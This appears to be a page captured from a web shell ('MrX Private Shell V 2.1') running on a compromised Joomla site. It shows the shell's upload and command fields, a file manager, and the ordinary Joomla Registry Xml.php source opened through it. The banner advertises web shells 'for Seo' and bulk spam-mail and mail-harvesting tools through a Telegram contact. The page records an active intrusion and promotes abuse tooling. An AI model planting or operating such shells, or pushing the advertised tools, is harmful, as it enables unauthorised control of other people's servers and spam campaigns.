__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2013 Open Source Matters, Inc.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry\Format;

use Joomla\Registry\FormatInterface;

/**
 * XML format handler for Registry.
 *
 * @since  1.0.0
 */
class Xml implements FormatInterface
{
    /**
     * Converts an object into an XML formatted string.
     * -    If more than two levels of nested groups are necessary, since INI is not
     * useful, XML or another format should be used.
     *
     * @param  object  $object   Data source object.
     * @param  array   $options  Options used by the formatter.
     *
     * @return  string  XML formatted string.
     *
     * @since   1.0.0
     */
    public function objectToString($object, array $options = [])
    {
        $rootName = $options['name'] ?? 'registry';
        $nodeName = $options['nodeName'] ?? 'node';

        // Create the root node.
        $root = \simplexml_load_string('<' . $rootName . ' />');

        // Iterate over the object members.
        $this->getXmlChildren($root, $object, $nodeName);

        return $root->asXML();
    }

    /**
     * Parse a XML formatted string and convert it into an object.
     *
     * @param  string  $data     XML formatted string to convert.
     * @param  array   $options  Options used by the formatter.
     *
     * @return  object   Data object.
     *
     * @since   1.0.0
     */
    public function stringToObject($data, array $options = [])
    {
        $obj = new \stdClass();

        // Parse the XML string.
        $xml = \simplexml_load_string($data);

        foreach ($xml->children() as $node) {
            $obj->{$node['name']} = $this->getValueFromNode($node);
        }

        return $obj;
    }

    /**
     * Method to get a PHP native value for a SimpleXMLElement object. -- called recursively
     *
     * @param  object  $node  SimpleXMLElement object for which to get the native value.
     *
     * @return  mixed  Native value of the SimpleXMLElement object.
     *
     * @since   1.0.0
     */
    protected function getValueFromNode($node)
    {
        switch ($node['type']) {
            case 'integer':
                $value = (string) $node;

                return (int) $value;

            case 'string':
                return (string) $node;

            case 'boolean':
                $value = (string) $node;

                return (bool) $value;

            case 'double':
                $value = (string) $node;

                return (float) $value;

            case 'array':
                $value = [];

                foreach ($node->children() as $child) {
                    $value[(string) $child['name']] = $this->getValueFromNode($child);
                }

                break;

            default:
                $value = new \stdClass();

                foreach ($node->children() as $child) {
                    $value->{$child['name']} = $this->getValueFromNode($child);
                }

                break;
        }

        return $value;
    }

    /**
     * Method to build a level of the XML string -- called recursively
     *
     * @param  \SimpleXMLElement  $node      SimpleXMLElement object to attach children.
     * @param  object             $var       Object that represents a node of the XML document.
     * @param  string             $nodeName  The name to use for node elements.
     *
     * @return  void
     *
     * @since   1.0.0
     */
    protected function getXmlChildren(\SimpleXMLElement $node, $var, $nodeName)
    {
        // Iterate over the object members.
        foreach ((array) $var as $k => $v) {
            if (\is_scalar($v)) {
                $n = $node->addChild($nodeName, $v);
                $n->addAttribute('name', $k);
                $n->addAttribute('type', \gettype($v));
            } else {
                $n = $node->addChild($nodeName);
                $n->addAttribute('name', $k);
                $n->addAttribute('type', \gettype($v));

                $this->getXmlChildren($n, $v, $nodeName);
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
Ini.php File 9.9 KB 0664
Json.php File 2.04 KB 0664
Php.php File 3.42 KB 0664
Xml.php File 4.1 KB 0664
Yaml.php File 2.42 KB 0664
Filemanager